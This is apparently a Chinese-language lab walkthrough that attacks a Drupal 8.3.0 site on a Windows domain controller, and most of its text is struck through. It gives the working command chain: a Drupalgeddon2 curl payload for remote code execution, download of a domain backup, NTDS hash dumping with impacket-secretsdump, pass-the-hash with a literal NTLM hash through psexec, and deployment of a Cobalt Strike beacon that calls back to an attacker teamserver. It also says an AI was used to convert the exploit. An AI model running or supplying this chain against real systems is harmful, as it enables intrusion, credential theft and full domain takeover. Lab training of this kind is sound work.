~~靶场信息~~
~~系统:Windows Server 2012 R2~~
~~中间件：Apache~~
~~CMS：Drupal~~ ~~8.3.0~~
~~角色：AD域控制器~~
~~二．页面展示~~
~~开始渗透~~
~~IP地址查看，输入arp-scan -l 获取靶机IP地址~~
~~目标是192.168.10.139，接下来进一步的渗透~~
使用~~nmap进行端口扫描，输入nmap~~ -sV ~~-O 192.168.10.139~~
~~很明显，这个机器是AD域控制器+apache中间件的服务器，它开放了80端口，我们可以进一步的访问80端口渗透~~
~~3.打开浏览器输入192.168.10.139~~ ~~查看网页~~
~~根据左下角可以看出来这是一个开源的CMS内容管理系统，为了实现漏洞利用，接下来通过Kali的工具获取它的相关信息~~
~~4..Kali运行命令whatweb~~ ~~http://192.168.10.139/~~
~~这是一个Drupal 8的CMS内容管理系统，也就是说可能存在远程代码执行漏洞~~
~~5..Kali运行命令：searchsploit~~ ~~Drupal 8~~
发现~~Drupal 8版本存在一个RCE远程代码执行，我们获取它的payload~~
~~6..Kali运行命令：searchsploit~~ ~~-m 44448~~
~~可以看到脚本保存到了kali的家目录，接下来运行payload~~
~~7..Kali执行命令 python3 ./44448.py~~
~~这里提示输入靶场的url，输入http://192.168.10.139/~~即可
提示不~~可用不要慌，因为payload是给linux机器写的，我们的可是Windows呀~~
~~输入cat ./44448.py~~
~~交给ai，让ai转换成为CURL执行代码命令~~
~~接下来替换IP和执行命令，通过exec执行有点问题，替换system就正常了~~
~~curl -X POST 'http://192.168.10.139/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \~~
~~-d 'form_id~~=~~user_register_form' \~~
~~-d '_drupal_ajax=1' \~~
~~-d 'mail[#post_render][]=system' \~~
~~-d 'mail[#type]=markup' \~~
~~-d 'mail[#markup]=dir C:\'~~
~~可以看出来我执行了dir命令，返回了C盘目录，接下来向域控继续~~干！
8.~~尝试访问C盘的www文件夹~~
~~发现有一个备份文件，可以进行url拼接下载这个文件~~
~~9.Kali执行命令：wget~~ ~~http://192.168.10.139/xiaodomain-bak.zip~~
解压~~xiaodomain-bak.zip~~
~~是一个域账户备份信息，我们可以通过impackte工具dump它的哈希~~
~~10.Kali执行命令：impacket-secretsdump~~ -~~ntds~~ ~~ntds.dit~~ ~~-system~~ ~~SYSTEM~~ ~~LOCAL~~
~~成功获取Administrator的NTLMV2哈希~~
~~11.Kali执行：impacket-psexec~~ ~~xiao/administrator@192.168.10.139 -hashes :3c573fe744b7aeb5aca9f4f36761b7d6 -codec~~ ~~gbk~~
~~成功获取System权限，接下来玩点好玩的~~
~~打开CS打枪工具~~
执行~~chmod~~ 777 ./*
执行./~~teamserver~~ ~~192.168.10.140 8888~~
~~打开cs客户端输入IP地址和8888密码~~
~~创建监听器~~
~~创建木马~~
~~导出后放入kali~~
~~Kali执行命令：impacket-psexec~~ ~~xiao/administrator@192.168.10.139 -hashes :3c573fe744b7aeb5aca9f4f36761b7d6 -c ./artifact_x64.exe~~
~~太好了，成功上线！~~

phpjA9FIZ